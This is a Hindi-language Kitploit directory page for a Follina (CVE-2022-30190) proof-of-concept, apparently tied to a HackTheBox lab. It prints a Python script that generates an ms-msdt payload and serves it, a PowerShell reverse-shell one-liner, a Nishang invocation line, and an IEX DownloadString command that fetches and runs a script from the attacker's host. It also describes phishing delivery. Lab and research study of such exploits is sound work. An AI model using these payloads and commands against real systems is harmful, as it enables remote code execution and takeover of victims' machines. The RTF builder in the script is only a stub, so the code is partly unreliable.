Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-30190 — CVE-2022-30190 (Follina) के लिए स्वचालित PoC एक्सप्लॉइट जो दुर्भावनापूर्ण RTF/DOCX फ़ाइलें उत्पन्न करता है, MSDT प्रोटोकॉल का दुरुपयोग करके मनमाने कमांड निष्पादित करता है और PowerShell के माध्यम से रिवर्स शेल तैनात करता है। | Kitploit
उपकरण/GitHubGitHub/kaleth4/cve-2022-30190
पेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणफिशिंगपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

CVE-2022-30190 (Follina) के लिए स्वचालित PoC एक्सप्लॉइट जो दुर्भावनापूर्ण RTF/DOCX फ़ाइलें उत्पन्न करता है, MSDT प्रोटोकॉल का दुरुपयोग करके मनमाने कमांड निष्पादित करता है और PowerShell के माध्यम से रिवर्स शेल तैनात करता है।

रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

फ़ोलिना (CVE-2022-30190) का शोषण

फ़ोलिना (CVE-2022-30190) माइक्रोसॉफ्ट सपोर्ट डायग्नोस्टिक टूल (MSDT) को प्रभावित करने वाली एक गंभीर रिमोट कमांड निष्पादन (RCE) भेद्यता है। यह खामी मूल रूप से VirusTotal पर पाए गए एक दुर्भावनापूर्ण फ़ाइल के माध्यम से खोजी गई थी और इसका नाम शोधकर्ता केविन ब्यूमोंट ने रखा था।

HackTheBox की Outdated मशीन के संदर्भ में, इस भेद्यता का उपयोग सिस्टम तक पहुँच प्राप्त करने के लिए प्राथमिक प्रवेश वेक्टर के रूप में किया जाता है।

भेद्यता का सारांश

शोषण ms-msdt प्रोटोकॉल योजना के दुरुपयोग पर आधारित है, जो एक हमलावर को बाहरी संसाधनों को लोड करके मनमाना कोड निष्पादित करने की अनुमति देता है। हमला केवल एक विशेष रूप से तैयार किए गए Office दस्तावेज़ (DOCX) या रिच टेक्स्ट फ़ाइल (RTF) को खोलने या पूर्वावलोकन करने से सक्रिय हो सकता है।

शोषण की पद्धति

1. एक्सप्लॉइट की तैयारी

हमले को स्वचालित करने के लिए, GitHub जैसे प्लेटफार्मों पर उपलब्ध प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट का उपयोग करने की अनुशंसा की जाती है। follina.py स्क्रिप्ट पेलोड को आसानी से कॉन्फ़िगर करने की अनुमति देती है।

सुझाया गया रिपॉजिटरी: जॉन हैमंड या Edge-Security जैसे शोधकर्ताओं के कार्यात्मक संस्करणों का उल्लेख किया गया है।

जनरेशन कमांड:

root@kitploit:~
python3 follina.py -m command -t rtf -c "निष्पादित_करने_का_कमांड"

जहाँ:

  • -m निष्पादन मोड (command या binary) इंगित करता है
  • -t फ़ाइल प्रकार (rtf या docx)
  • -c इंजेक्ट करने के लिए कमांड

2. पेलोड इंजेक्शन

विंडोज़ में एक इंटरैक्टिव कंसोल प्राप्त करने का एक प्रभावी तरीका एक PowerShell स्टेटमेंट इंजेक्ट करना है जो Nishang सूट (Invoke-PowerShellTcp.ps1) से एक रिवर्स शेल डाउनलोड और आह्वान करता है।

शोषण स्क्रिप्ट एक दुर्भावनापूर्ण HTML संसाधन उत्पन्न करती है जिसमें Base64 में निर्देश होता है और इसे स्वचालित रूप से एक स्थानीय वेब सर्वर (पोर्ट 80) पर होस्ट करती है। दुर्भावनापूर्ण दस्तावेज़ (click_me.rtf) विंडोज डायग्नोस्टिक प्रक्रिया को ट्रिगर करने और कोड निष्पादित करने के लिए इस URL की ओर इशारा करेगा।

3. हमले का निष्पादन

यथार्थवादी या ऑडिट परिदृश्यों में, हमलावर HTML संसाधन या दुर्भावनापूर्ण दस्तावेज़ के लिंक को फ़िशिंग या SMTP तकनीकों (जैसे swaks टूल का उपयोग करके) के माध्यम से पीड़ित को भेज सकता है।

उपयोगकर्ता की सहभागिता (या एक स्वचालित कार्य जो फ़ाइल को संसाधित करता है) के समय, MSDT पेलोड की व्याख्या करता है और हमलावर की मशीन पर वापस एक कनेक्शन स्थापित करता है।

पहुँच प्राप्त करना

कनेक्शन प्राप्त करने के लिए, हमलावर को रिवर्स शेल में कॉन्फ़िगर किए गए पोर्ट पर सुनना होगा (उदाहरण के लिए, netcat या rlwrap के साथ)। सफल शोषण के बाद, कार्रवाई करने वाले उपयोगकर्ता के विशेषाधिकारों के साथ एक इंटरैक्टिव कंसोल प्राप्त होता है, जो स्थानीय गणना और विशेषाधिकार वृद्धि के साथ आगे बढ़ने की अनुमति देता है।


follina.py स्क्रिप्ट का कार्यान्वयन

यह स्क्रिप्ट दुर्भावनापूर्ण फ़ाइल (RTF या DOCX) के निर्माण को स्वचालित करती है, HTML संसाधन उत्पन्न करती है जो ms-msdt प्रोटोकॉल योजना का शोषण करता है, और पेलोड परोसने के लिए एक स्थानीय सर्वर शुरू करता है।

कोड: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petición [4, 7]
    run_server(args.port)

उपयोग पद्धति पर नोट्स

महत्वपूर्ण पैरामीटर: जैसा कि स्रोतों में वर्णित है, स्क्रिप्ट मोड के लिए -m, फ़ाइल प्रकार के लिए -t और कमांड के लिए -c का उपयोग करती है।

PowerShell इंजेक्शन: s4vitar प्रशिक्षण में देखा गया एक सामान्य उपयोग इंटरैक्टिव एक्सेस प्राप्त करने के लिए एक PowerShell स्टेटमेंट इंजेक्ट करना है जो Nishang रिवर्स शेल (Invoke-PowerShellTcp.ps1) को डाउनलोड और आह्वान करता है।

निष्पादन: हमला तब सक्रिय होता है जब पीड़ित दुर्भावनापूर्ण फ़ाइल (RTF/DOCX) को खोलता है या केवल देखता है, जिससे सिस्टम HTML संसाधन को लोड करने का प्रयास करता है और माइक्रोसॉफ्ट डायग्नोस्टिक टूल (MSDT) के माध्यम से कमांड निष्पादित करता है।

सुनना: आपको अपनी रिवर्स शेल में निर्दिष्ट पोर्ट पर सुनना होगा (उदाहरण के लिए netcat के साथ) ताकि पीड़ित मशीन पर एक्सप्लॉइट ट्रिगर होने पर कनेक्शन प्राप्त हो सके।


Invoke-PowerShellTcp.ps1 स्क्रिप्ट (Nishang)

Invoke-PowerShellTcp.ps1 स्क्रिप्ट विंडोज सिस्टम पर रिवर्स शेल प्राप्त करने के लिए Nishang सूट के सबसे अधिक उपयोग किए जाने वाले टूल में से एक है।

1. प्राप्त करना और तैयारी

मूल स्क्रिप्ट GitHub पर Nishang के आधिकारिक रिपॉजिटरी से डाउनलोड की जाती है। इसके उपयोग के विशिष्ट चरण हैं:

  • डाउनलोड: हमलावर की मशीन पर संसाधन लाने के लिए wget का उपयोग किया जाता है।
  • नाम बदलना: इसे पीड़ित मशीन से आह्वान करना आसान बनाने के लिए इसे अक्सर छोटे नाम जैसे reverse.ps1 या ps.ps1 में बदल दिया जाता है।
  • निष्पादन का स्वचालन: स्क्रिप्ट को मेमोरी में लोड करने पर स्वचालित रूप से निष्पादित करने के लिए, फ़ाइल के अंत में मुख्य फ़ंक्शन का कॉल जोड़ा जाता है।

2. स्क्रिप्ट के अंत में कॉल की संरचना

स्क्रिप्ट को एक स्व-निष्पादन योग्य पेलोड में बदलने के लिए, .ps1 फ़ाइल के अंत में निम्नलिखित पंक्ति जोड़ी जाती है:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <तुम्हारा_हमलावर_आईपी> -Port <तुम्हारा_पोर्ट>

जहाँ <तुम्हारा_हमलावर_आईपी> और <तुम्हारा_पोर्ट> को आपके सुनने के विवरण से बदला जाना चाहिए (उदाहरण के लिए, 10.10.14.29 और 443)।

3. "वन-लाइनर" संस्करण

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(नोट: यह कोड कंपाइल्ड जैसी मशीनों के समाधान में उल्लिखित "gitbash" और इंटरैक्टिव टर्मिनलों के तर्क का अनुसरण करता है।)

4. रिमोट आह्वान विधि (IEX)

एक बार हमलावर के पास स्क्रिप� स्थानीय HTTP सर्वर (पोर्ट 80) पर होस्ट हो जाने के बाद, पीड़ित मशीन पर इसे डिस्क को छुए बिना सीधे मेमोरी में लोड और निष्पादित करने के लिए IEX (Invoke-Expression) कमांड का उपयोग किया जाता है:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<तुम्हारा_आईपी>/reverse.ps1')"

यह विधि Follina जैसी भेद्यताओं के शोषण या वेब सेवाओं से समझौता करने के बाद प्रारंभिक पहुँच प्राप्त करने में मौलिक है। एक बार निष्पादित होने के बाद, हमलावर को सुन रहे netcat सत्र में कनेक्शन प्राप्त होता है।

root@kitploit:~
Pwned!!!
टूल डाउनलोड करें